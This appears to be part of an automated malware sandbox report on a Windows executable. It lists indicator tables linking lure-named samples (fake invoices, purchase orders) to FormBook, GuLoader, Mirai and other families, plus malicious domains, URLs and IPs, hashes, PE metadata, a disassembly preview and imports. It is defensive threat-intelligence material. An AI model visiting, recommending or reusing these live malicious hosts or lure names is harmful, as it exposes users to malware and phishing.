	MV Sunshine.exe	Get hash	malicious	FormBook	Browse	www.ipk.app/phav/
	New Order list attached.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.virtu.industries/i9b0/
	A4mmSHCUi2.exe	Get hash	malicious	FormBook	Browse	www.thesquare.world/f1ri/
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	www.discountprice.shop/mt2s/
202.87.223.248	PO-000172483.exe	Get hash	malicious	FormBook	Browse	www.18kwatch.com/9dw0/
	PO#071024.exe	Get hash	malicious	FormBook	Browse	www.18kwatch.com/9dw0/
	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.18kwatch.com/9dw0/?74=AEgRjYgNSMY7kmD/sNb3KPnz5ZNAR4f/HqFvJKZDiAifOvt6lupbZ3DM5SS++rHcmE/c/KPjqd6fyV+mvVCGtwMzPDuOxR8Cn4KQpmMV45iQij5IAkAhoYw=&jf=kjpL5
	CENA.exe	Get hash	malicious	FormBook	Browse	www.18kwatch.com/9dw0/
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	www.18kwatch.com/huyu/
154.204.174.144	Stadigheder43.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.js18456.net/f4fo/
	General terms and conditions of sale - Valid from 10202024 to 12312024.exe	Get hash	malicious	FormBook	Browse	www.js18456.net/11gx/?ldz=rxiD0VSh&jB=ODktm7BfoValjuNL5P61BWwIi5kZX5R1hx7Ke837cFkm7BCdFiOgsI1RZ91AC3GJFMen+rNIdZo2ocYD0qhSsMPqPuDdRaPxXMaQenJRCurvqUCp5g==
	rBilateralt.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.js18456.net/f4fo/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.solidarity.rocks	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	Halkbank_Ekstre_20230426_075819_154055.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	NARLOG 08.10.2024.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
b1-3-r111.kunlundns.top	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	43.155.76.124
	QUOTE2342534.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
	Re property pdf.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
www.js18456.net	Stadigheder43.exe	Get hash	malicious	FormBook, GuLoader	Browse	154.204.174.144
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	154.204.174.144
	General terms and conditions of sale - Valid from 10202024 to 12312024.exe	Get hash	malicious	FormBook	Browse	154.204.174.144
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	154.204.174.144
	rBilateralt.exe	Get hash	malicious	FormBook, GuLoader	Browse	154.204.174.144
www.ambaolive.info	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	217.160.0.93
	Request for 30 Downpayment.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	217.160.0.93
	Pending invoices.exe	Get hash	malicious	FormBook	Browse	217.160.0.93
www.martmall.info	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	209.74.64.189
www.martmall.info	Tandemmernes90.exe	Get hash	malicious	FormBook, GuLoader	Browse	209.74.64.189
www.18kwatch.com	PO-000172483.exe	Get hash	malicious	FormBook	Browse	202.87.223.248
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	202.87.223.248
	PO#071024.exe	Get hash	malicious	FormBook	Browse	202.87.223.248
	PO#001498.exe	Get hash	malicious	FormBook	Browse	202.87.223.248
	CENA.exe	Get hash	malicious	FormBook	Browse	202.87.223.248
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	202.87.223.248

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	GON1kUXilb.exe	Get hash	malicious	GuLoader	Browse	78.142.231.131
	Stadigheder43.exe	Get hash	malicious	FormBook, GuLoader	Browse	154.204.174.144
	x86.elf	Get hash	malicious	Mirai	Browse	156.241.153.146
	gmpsl.elf	Get hash	malicious	Mirai	Browse	156.253.18.68
	parm5.elf	Get hash	malicious	Mirai	Browse	156.253.18.63
	tmips.elf	Get hash	malicious	Mirai	Browse	156.241.153.159
	pmpsl.elf	Get hash	malicious	Mirai	Browse	156.253.18.55
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	154.204.174.144
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	156.236.102.197
	splarm7.elf	Get hash	malicious	Unknown	Browse	154.209.247.120
OCENET-AS-APOCESdnBhdISPMY	PO-000172483.exe	Get hash	malicious	FormBook	Browse	202.87.223.248
	PO#071024.exe	Get hash	malicious	FormBook	Browse	202.87.223.248
	PO#001498.exe	Get hash	malicious	FormBook	Browse	202.87.223.248
	CENA.exe	Get hash	malicious	FormBook	Browse	202.87.223.248
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	202.87.223.248
	https://srirakyat.i-ruma.com/RegisterNewResident?p=dbfe6cc3-1784-494c-b756-f53c8ffa4033	Get hash	malicious	Unknown	Browse	118.107.235.89
	ImVMtU7aeB.elf	Get hash	malicious	Mirai	Browse	118.107.193.237
	file.exe	Get hash	malicious	DanaBot, SmokeLoader	Browse	61.4.102.15
	file.exe	Get hash	malicious	SmokeLoader	Browse	61.4.102.15
	file.exe	Get hash	malicious	SmokeLoader	Browse	61.4.102.15
AMAZON-02US	https://sendspace.com/pro/z42su8	Get hash	malicious	Mamba2FA	Browse	18.245.31.5
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	3.170.115.57
	assailant.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	54.171.230.55
	bin.m68k.elf	Get hash	malicious	Mirai	Browse	34.210.146.241
	bin.arm7.elf	Get hash	malicious	Mirai	Browse	54.230.74.218
	sora.arm7.elf	Get hash	malicious	Unknown	Browse	63.34.86.27
	arm5.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	https://worldpay.merchant-dispute.com/	Get hash	malicious	Unknown	Browse	3.160.150.119
	sora.mpsl.elf	Get hash	malicious	Unknown	Browse	65.11.83.73
	https://url.us.m.mimecastprotect.com/s/Z23rC737BJUZjykZNH8fJHo-qZq?domain=t.ly	Get hash	malicious	HTMLPhisher	Browse	52.219.176.130
AMAZON-02US	https://sendspace.com/pro/z42su8	Get hash	malicious	Mamba2FA	Browse	18.245.31.5
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	3.170.115.57
	assailant.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	54.171.230.55
	bin.m68k.elf	Get hash	malicious	Mirai	Browse	34.210.146.241
	bin.arm7.elf	Get hash	malicious	Mirai	Browse	54.230.74.218
	sora.arm7.elf	Get hash	malicious	Unknown	Browse	63.34.86.27
	arm5.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	https://worldpay.merchant-dispute.com/	Get hash	malicious	Unknown	Browse	3.160.150.119
	sora.mpsl.elf	Get hash	malicious	Unknown	Browse	65.11.83.73
	https://url.us.m.mimecastprotect.com/s/Z23rC737BJUZjykZNH8fJHo-qZq?domain=t.ly	Get hash	malicious	HTMLPhisher	Browse	52.219.176.130

Process:	C:\Users\user\Desktop\3NvALxFlHV.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.995326095112815
Encrypted:	true
SSDEEP:	6144:eeZinEm2JFy1yhutx1uBvxLW/PEz1JnVcrPQFI3yRxDCyEZG0MjZkYmsueqYPi5q:dbm2JF/cjcZqHEzZcrPQFICRxG5UdtVV
MD5:	6625AB346716A69E567A8FDD80E8EC4B
SHA1:	B74D97E61D5C036352A440D2108EE477558DD14E
SHA-256:	5B0206A9C70D6B9466D6844D1E53E56FB58B7A8EA4F72FE4EAAF188E32E3B03B
SHA-512:	D0A5FCD4382EC4859E3191ADC75BA9ECB11C465FC6D8FE02F5A77B4827B121C16C30FEBF4ED0054A1F1099391198D3CAFCBB74C69F3B5B4424F0867C9EC3C5D0
Malicious:	false
Reputation:	low
Preview:	..wb.D8YT...B....}.O7....FJ..B20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB.0YD6F.XQ.B...H..n`0Q&.50]=$#_.:%V7;"qQ.j@E'a]!..w..(-V?xO?:}D8YTVQ32K;.t!S..8_..%%.@....9#.C....+-....sT?..]&.:1.20YD8YTV.vKJ~1HA&...8U4EB2ZV.22XO9RTV.7KJ20IA4O4.,U4ER2ZV260YDxYTFQ3KH20OA4O4X8U2EB2ZVB20)@8YVVQ3KJ22I..O4H8U$EB2ZFB2 YD8YTVA3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4ElF?.620YPi]TVA3KJ`4IA$O4X8U4EB2ZVB20yD89TVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ20IA4O4X8U4EB2ZVB20YD8YTVQ3KJ

C:\Users\user\AppData\Local\Temp\w2-0G0-7

Download File

Process:	C:\Windows\SysWOW64\openfiles.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209935793793442
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8lZqhAj3NniAGl:r2qOB1nxCkvSAELyKOMq+8lMAjdnG
MD5:	214CFA91B0A6939C4606C4F99C9183B3
SHA1:	A36951EB26E00F95BFD44C0851827A032EAFD91A
SHA-256:	660DE0DCC188B3C35F8693DA4FE3EABD70D55A3AA32B7FDD6353FDBF04F702D7
SHA-512:	E2FA64C41FBE5C576C0D79C6A5DEF0EC0A49BB2D0D862223E761429374294332A5A218E03C78A0D9924695D84B10DC96BCFE7DA0C9972988D33AE7868B107789
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.508402445053118
TrID:	Win32 Executable (generic) a (10002005/4) 95.11% AutoIt3 compiled script executable (510682/80) 4.86% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	3NvALxFlHV.exe
File size:	1'321'413 bytes
MD5:	b652b9c9e678d19fffdb000a07795d4c
SHA1:	8e528223855fde8de2856b59b832d089ed016c62
SHA256:	fd038f6fb8abe9ad01f9d26e5ce75ac7556f6a394e9d709acc9d9ef8f4616e5d
SHA512:	68d5cf19188e905328bfa345e06d697718c83cdfb2fd586864730f60bd27061fa35998926a8246b9fe33b514d619dc5852a0de5f30caca563ea4b1b033fafc47
SSDEEP:	24576:ffmMv6Ckr7Mny5QLi2xmAaI/HgGEhuOz8sVO02Xj:f3v+7/5QLiC/HgGEHOr
TLSH:	1855F112F3D680B6D9A339B0297BE726EB3575154327C4CBA7E02F768F111409B3A762
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x416310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	aaaa8913c89c8aa4a5d93f06853894da

Entrypoint Preview

Instruction
call 00007F8C0936DB5Ch
jmp 00007F8C0936192Eh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F8C09361ABAh
cmp edi, eax
jc 00007F8C09361C5Ah
cmp ecx, 00000100h
jc 00007F8C09361AD1h
cmp dword ptr [004A94E0h], 00000000h
je 00007F8C09361AC8h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F8C09361ABAh
pop esi
pop edi
pop ebp
jmp 00007F8C09361F1Ah
test edi, 00000003h
jne 00007F8C09361AC7h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F8C09361ADCh
rep movsd
jmp dword ptr [00416494h+edx*4]
nop
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F8C09361ABEh
and eax, 03h
add ecx, eax
jmp dword ptr [004163A8h+eax*4]
jmp dword ptr [004164A4h+ecx*4]
nop
jmp dword ptr [00416428h+ecx*4]
nop
mov eax, E4004163h
arpl word ptr [ecx+00h], ax
or byte ptr [ecx+eax*2+00h], ah
and edx, ecx
mov al, byte ptr [esi]
mov byte ptr [edi], al
mov al, byte ptr [esi+01h]
mov byte ptr [edi+01h], al
mov al, byte ptr [esi+02h]
shr ecx, 02h
mov byte ptr [edi+02h], al
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F8C09361A7Eh

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8cd3c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9298	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x840	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x80017	0x80200	6c20c6bf686768b6f134f5bd508171bc	False	0.5602991615853659	data	6.634688230255595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xd95c	0xda00	f979966509a93083729d23cdfd2a6f2d	False	0.36256450688073394	data	4.880040824124099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a518	0x6800	e5d77411f751d28c6eee48a743606795	False	0.1600060096153846	data	2.2017649896261107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9298	0x9400	f6be76de0ef2c68f397158bf01bdef3e	False	0.4896801097972973	data	5.530303089784181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x43a	data	English	Great Britain	0.3733826247689464
RT_STRING	0xb2c78	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3278	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb38d8	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3c60	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3db8	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3e40	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3e58	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3e70	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3e88	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb4028	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
GDI32.dll	DeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
